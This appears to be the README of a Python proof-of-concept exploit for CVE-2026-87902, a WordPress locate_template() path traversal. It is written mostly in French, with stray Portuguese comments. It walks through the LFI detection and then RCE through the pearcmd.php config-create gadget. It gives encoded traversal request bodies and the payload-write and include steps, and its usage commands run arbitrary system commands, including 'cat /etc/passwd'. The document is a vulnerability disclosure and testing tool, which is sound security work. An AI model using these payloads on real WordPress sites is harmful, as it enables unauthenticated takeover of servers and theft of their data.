
PoC Python exploitant CVE-2026-87902, une traversée de chemin non authentifiée dans locate_template() de WordPress menant à une LFI et à une RCE basée sur PEAR, avec un mode de détection sécurisé.
Fichier de l'exploit : exploit_locate_template_rce.py —
Python 3.6+ (stdlib uniquement).
Pipeline en une seule commande : détection sûre (différentiel de LFI, sans écriture) →,
si vulnérable, RCE via le gadget pearcmd.php exécutant la commande de votre choix
(--command/-c). Utilisez --validate-only pour s'arrêter avant l'étape d'écriture.
Teste le CVE-2026-87902 sur les versions de WordPress
sans le fix du commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports jusqu'à 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Affectées | WordPress 4.7.0 – 7.1.1 (toutes les branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge du changeset 63792) |
| Fichiers | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Authentification | Aucune — aucun utilisateur, cookie, nonce ou plugin |
| Crédits | Découverte et disclosure : Robert Ressl |
⚠️ Uniquement pour des tests autorisés. À utiliser dans des environnements que vous contrôlez (le lab ci-dessous est isolé) ou avec l'autorisation explicite du propriétaire.
Dans les versions sans le fix, l'enchaînement get_page_template() → locate_template() →
template-loader ne garantit jamais que le template sélectionné reste à l'intérieur du thème.
Pré-fix (wp-includes/template.php) :
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7) :
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename et page_id sont des query vars publiques — acceptées dans le body d'un POST anonyme.
La méthode POST fait que redirect_canonical() (canonical.php) retourne tôt — il n'agit
que sur GET/HEAD, donc rien n'est redirigé.templates%252f%252e%252e%252f...) et survit au
sanitize : WP_Query::get_posts() (l.2191) réécrit le pagename avec
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() ne casse pas sur %2F
(formatting.php l.5768) et le sanitize préserve les octets %XX (l.2395).page_id (l.2252) écrase le WHERE ("$where =", pas ".=") — la page réelle
est chargée, sans 404, et le pagename malveillant reste dans l'objet de query.get_page_template() fait un urldecode() tardif et construit page-<traversal>.php
sans validate_file().locate_template() pré-patch n'appelle que file_exists() → l'include s'échappe du thème.| # | Précondition | Raison |
|---|---|---|
| 1 | Page publiée, accessible anonymement, sélectionnable par page_id et sans custom template | La requête doit résoudre vers une Page ; un template custom viendrait avant dans la hiérarchie |
| 2 | Répertoire top-level dans le thème actif (child ou parent) commençant par page- (ex. : page-templates/) | WP préfixe le préfixe fixe page- ; c'est par lui que le traversal entre. Il suffit qu'il existe et soit traversable (peut être vide). Présent dans Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Cible .php locale existante et lisible | Le loader ajoute .php et vérifie is_file()/is_readable() |
| 4 | (uniquement pour RCE) pearcmd.php lisible + register_argc_argv=On + répertoire inscriptible (ex. : /tmp) | Route PEAR→RCE : config-create écrit le payload PHP sur le serveur |
Trois POST anonymes contre la page publiée — sans écriture sur disque :
| Requête | pagename | Réponse attendue (vulnérable) |
|---|---|---|
| A — baseline | — | 200, corps normal (~23 KB) |
| B — contrôle | traversal → fichier inexistant | 200, corps normal (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 avec corps vide |
Signature : C vide + A/B normaux ⇒ l'include s'est échappé du thème ⇒ VULNÉRABLE.
La détection balaye automatiquement : répertoires de thème candidats
(page-templates, page-template) × profondeurs 1–12.
Le résultat (theme-dir + depth) alimente l'étape RCE.
Avec --validate-only le script s'arrête ici (exit 0 si vulnérable).
pearcmd.php (écriture)Étape 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ le traversal inclut /usr/local/lib/php/pearcmd.php
→ argv vient de la query string brute (register_argc_argv=On)
→ config-create ÉCRIT le payload dans /tmp/wp-pear-rce.php (12 copies sérialisées)
Étape 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ le même traversal inclut le fichier généré → system(<--command>) s'exécute en www-data
Détails du format (toutes les contraintes sont gérées par le script) :
page_id + pagename ; la query string porte
exclusivement l'argv de PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290) applique
add_magic_quotes($_SERVER) et pearcmd lit l'argv depuis $_SERVER['argv'] — tout
guillemet deviendrait \' et casserait le fichier généré. Toute chaîne PHP devient une
concaténation chr() : '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client) : les octets bruts +, <, > de la query
string sont l'argv — rien ne peut être ré-écrit/ré-encodé en chemin.config-create exige un root path absolu — le payload est injecté comme le root
lui-même (/<php>), préfixé par le marqueur ___WP_RCE_OK___ qui délimite la sortie.pearcmd.php (Docker officiel, Debian/Ubuntu, XAMPP) — ajustez avec
--pear-path/--output si nécessaire.Il n'y a pas d'"upload" : la cible de la détection est un fichier que tout WordPress fournit d'usine
(wp-content/index.php) ; le payload du RCE est écrit par le serveur lui-même via le
gadget PEAR, en s'exécutant en www-data.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"